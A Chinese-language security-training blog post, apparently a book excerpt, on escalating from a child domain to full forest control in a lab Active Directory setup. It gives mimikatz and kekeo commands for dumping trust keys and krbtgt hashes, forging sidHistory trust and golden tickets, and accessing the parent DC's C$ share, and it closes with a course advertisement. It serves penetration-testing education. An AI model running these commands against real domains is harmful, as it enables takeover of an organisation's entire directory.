跨域攻擊分析和防禦(中)

Ms08067安全实验室發表於2024-04-15


利用域信任金鑰獲取目標域許可權

搭建符合條件域環境,域林內信任環境搭建情況如下,如圖7-8所示。

父域域控:dc.test.com (Windows Server 2008 R2)

子域域控:subdc.test.com (Windows Server 2012 R2)

子域內計算機:pc.sub.test.com (Windows 7)

子域內普通使用者:sub\test

7-8 域林內信任環境

工具mimikatz可以在域控制器上匯出並偽造信任金鑰,工具kekeo可以請求訪問目標域中目標服務的TGS票據。使用這兩個工具我們便可以偽造具有sidHistory的票據,然後獲取目標域的許可權。

mimikatz下載地址:https://github.com/gentilkiwi/mimikatzkekeo下載地址: https://github.com/gentilkiwi/kekeosubdc.test.com上使用mimikatz獲取所需要的資訊,命令如下所示。Mimikatz.exe privilege::debug “lsadump::lsa /patch /user:test$” “lsadump::trust /patch” exit

結果如圖7-9中所示。①為當前域的sid,圖7-9中②為目標域的sid,圖7-9中③為信任金鑰,這裡使用了兩種方法獲取信任金鑰,實際操作時選擇一種即可。獲取資訊後的其它操作在域內計算機(pc.sub.test.com)上使用普通域使用者許可權(sub\test)執行即可。

7-9 使用mimikatz獲取所需要的資訊

接著使用Mimikatz建立偽造的信任票證,輸入如下命令。

Mimikatz “Kerberos::golden /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /rc4:e7f934e89f77e079121b848b8628c347 /user:DarthVader /service:krbtgt /target:test.com /ticket:test.kirbi” exit

命令中domain引數指定當前域名,sid引數指定當前域的sid,sids引數指定目標域的sid-519,代表我們偽造的使用者屬於目標域企業管理員組,rc4引數指定信任金鑰,user引數指定偽造的使用者名稱,service引數指定需要訪問的目標服務,target引數指定目標域名,ticket引數指定儲存票據的檔名,如圖7-10所示。

注:第一次訪問域控時的提示文字重複是mimikatz執行時導致的輸出異常。

7-10使用Mimikatz建立偽造的信任票證

利用建立的名為test.kirbi的Trust Ticket檔案獲取目標域中目標服務的TGS並儲存到檔案中,輸入如下命令,如圖7-11所示。

Asktgs test.kirbi CIFS/DC.test.com

7-11取目標域中目標服務的TGS

然後將獲取到的TGS票據注入到記憶體中,輸入如下命令,結果如圖7-12所示。

Kirbikator lsa CIFS.DC.test.com.kirbi

最後就可輸入下列命令,使用偽造的許可權成功訪問目標服務,如圖7-12所示。

dir \\dc.test.com\C$

7-12TGS票據注入到記憶體並訪問目標服務



利用krbtgt雜湊獲取目標域許可權

Mimikatz可以在構建黃金票據時設定sidHistory,因此如果攻擊者獲取了林內任意域的krbtgt雜湊,就可以利用sidHistory獲得整個林的完整許可權。

首先透過powerview在域內計算機(pc.sub.test.com)上使用普通域使用者(sub\test)許可權獲取當前域和目標域的sid,如圖7-13所示。

Powerview mimikatzhttps://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

7-13獲取當前域和目標域的sid

注:常用獲取域使用者sid方法

u wmic useraccount get name,sidu whoami /useru adfind.exe -sc u:test|findstr sidu Powerview

在域控上使用mimikatz獲取krbtgt雜湊,這裡介紹了兩種方法,實際操作時選用其中一種即可,如圖7-14所示。

l 命令1mimikatz.exe privilege::debug “lsadump::lsa /patch /user:krbtgt” sekurlsa::krbtgt exitl 命令2sekurlsa::krbtgt

7-14獲取krbtgt雜湊

在子域內計算機(pc.sub.test.com)上使用普通使用者許可權(sub\test)構造並注入黃金票據,即可獲取目標域的許可權。命令如下。

Mimikatz “Kerberos::golden /user:Administrator /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /krbtgt:7ca9fc3b5aa4776f017bfc29649b36f5 /ptt” exit

命令中user引數指定了偽造的使用者名稱,domain引數指定當前域名,sid引數指定當前域的sid,sids引數指定目標域的sid-519,代表我們偽造的使用者屬於目標域企業管理員組,krbtgt引數指定krbtgt雜湊,ptt代表將票據注入到記憶體中,如圖7-15所示。

最後就可輸入下列命令,成功訪問目標服務,如圖7-15所示。

dir \\dc.test.com\C$

7-15獲取目標域的許可權

Ms08067安全實驗室專注於網路安全知識的普及和培訓,是專業的“圖書出版+培訓”的網路安全線上教育平臺,專注於網路安全領域中高階人才培養。

平臺已開設Web安全零基礎就業,Web高階安全攻防進階,紅隊實戰攻防特訓,Java程式碼安全審計,惡意程式碼分析與免殺實戰,CTF基礎實戰特訓營,網路安全應急響應,安全工具開發,AI與網路安全等系統培訓課程。實驗室出版安全圖書《Web安全攻防:滲透測試實戰指南》、《內網安全攻防:滲透測試實戰指南》、《Python安全攻防:滲透測試實戰指南》、《Java程式碼審計:入門篇》等。

掃描客服微信 獲取更多課件+學習資料

相關文章